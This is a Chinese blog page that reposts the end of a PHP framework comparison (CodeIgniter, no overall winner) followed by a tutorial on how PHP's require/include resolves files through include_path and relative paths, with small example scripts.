它包括了大多数常用组件,如数据库组件和缓存组件,可还是缺少点东西。比方说,没有ActiveRecord组件和验证组件。另一方面,它提供了一些外挂组件,比如e-mail组件,但是不多,其它框架(像Zend Framework)提供的更多。

CodeIgniter

CodeIgniter相对来讲是个很新的框架,它的作者是ExpressionEngine的开发团队(译者注: PHP blog程序pMachine的升级换代产品,很可惜不是免费的),看上去很有潜质。不幸的是,它尚不能处理多数据库,尽管这项功能仍在开发中。

它源于Ruby on Rails,所以它提供了很多的相同功能,比如scaffolding(代码自动生成)。它的文档编得相当棒,甚至还有视频教程帮助你快速上手。

获胜者是……

在这里我不得不非常遗憾地宣布,无人胜出。每个框架所提供的功能特性不尽相同,因此无人完胜。一如往常,最后这将取决于个人偏好和选择。我极力推荐你在作出决定前先认真仔细地研读各个框架的文档,剩下就靠你自己判断了。
原文地址: http://www.chhua.com/web-note559

深入理解PHP之require/include顺序

在大型的Web项目中, include_path是一个模块化设计的根本中的根本(当然,现在也有很多基于autoload的设计, 这个不影响本文的探讨), 但是正是因为include_path, 经常会让我们遇到一些因为没有找到正确的文件而导致的看似”诡异”的问题.

也就有了如下的疑问:

include_path是怎么起作用的?

如果有多个include_path顺序是怎么样的?

什么情况下include_path不起作用?

今天, 我就全面的介绍下这个问题, 先从一个例子开始吧.

如下的目录结构:

  1.   root
  2.     ├ 1.php
  3.     ├ 3.php
  4.     └ subdir
  5.          ├ 2.php
  6.           └ 3.php
在1.php中:
  1. <?php
  2. ini_set("include_path", ".:path_to_subdir");
  3. require("2.php");
  4. ?>
而在2.php中:
  1. <?php
  2. require("3.php");
  3. ?>
而在root目录下的3.php打印出”root”, 在subdir目录下的3.php打印出”subdir”;

现在, 我的问题来了:

1. 当在root目录下运行1.php, 会得到什么输出?

2. 在subdir下运行上一级目录的1.php, 有会得到什么输出?

3. 当取消include_path中的当前目录path(也就是include_path=”path_to_subdir”), 上面俩个问题又会是什么输出?

PHP中的include_path

PHP在遇到require(_once)/include(_once)的指令的时候, 首先会做如下的判断:

  1. 要包含的文件路径是绝对路径么?
  2.  如果是, 则直接包含, 并结束.
  3.  如果不是, 进入另外的逻辑(经过多次调用, 宏展开后进入_php_stream_fopen_with_path)寻找此文件
接下来, 在_php_stream_fopen_with_path中, 会做如下判断:
  1. 要包含的文件路径是相对路径么(形如./file, ../dir/file, 以下用"目录相对路径代替")?
  2.  如果是, 则跳过include_path的作用逻辑, 直接解析相对路径(随后单独介绍)
会根据include_path,和当前执行文件的path组成一个待选的目录列表, 比如对于文章前面的例子来说, 会形成一个如下的待选列表
  1. ".:path_to_subdir:current_script_dir
然后, 依次从待选列表头部开始, 根据DEFAULT_DIR_SEPARATOR(本文的环境是”:”)取出待选列表中的一个路径, 然后把要包含的文件名附加在这个路径后面, 进行尝试. 如果成功包含, 则返回, 否则继续下一个待选路径.

到现在为止, 我们已经可以回答我开头提出的3个问题了.

1. 因为在root目录下执行, 所以在1.php中包含2.php的时候, include_path的第二个待选路径起了作用(path_to_subdir), 找到了path_to_subdir/2.php, 而在2.php包含3.php的时候, 当前工作目录是root下, 所以在包含3.php的时候, include_path的第一个待选路径”.”(当前工作目录)下就找到的匹配的文件, 所以得到的输出是”root”.

2. 同1, 只不过当前的路径是subdir, 所以得到的输出是”subdir”.

3. 因为没有了当前路径为include_path, 所以在root目录下运行的时候2.php中包含3.php的时候, 是path_to_subdir起了作用, 所以无论在root还是subdir都将得到”subdir”的输出.
而如果在2.php中清空include_path,

  1. <?php
  2. ini_set("include_path", '');
  3. require("3.php");
  4. ?>
那么将会是current_script_dir起作用, 而这个时候current_script_dir是2.php的路径, 所以还是会得到”subdir”的输出.
 

目录相对路径

在使用目录相对路径的情况下, 相对路径的基点, 永远都是当前工作目录.

为了说明在目录相对路径下的情况,我们再看个列子, 还是上面的目录结构, 只不过1.php变成了:

  1. <?php
  2. ini_set("include_path", "/");
  3. require("./subdir/2.php");
  4. ?>

2.php变成了:

  1. <?php
  2. require("./3.php");
  3. ?>

如果在root目录下执行, 2.php中寻找3.php将会在当前目录的相对路径下寻找, 所以得到的输出是”root”, 而如果是在subdir下执行上一级目录的1.php(php -f ../1.php), 将会因为在subdir下找不到”./subdir/2.php”而异常退出.

后记

1. 因为使用include_path和相对路径的情况下, 性能会和寻找的次数有关, 最坏的情况下, 如果你有10个include_path, 那么最多可能会重试11次才能找到要包含的文件, 所以, 在能使用绝对路径的情况下最好使用绝对路径.

2. 因为目录相对路径的basedir, 永远都是当前工作路径, 如果要使用, 需要和实际部署路径相关, 所以实际使用的很少(当然, 也有借助chdir来完成的模块).

3. 在模块化的系统设计中, 一般应该在模块内, 通过获取模块的部署路径(dirname(__FILE__), php5.3以后更是提供了__DIR__常量)从而使用绝对路径.

转:http://www.uh80.com/?p=493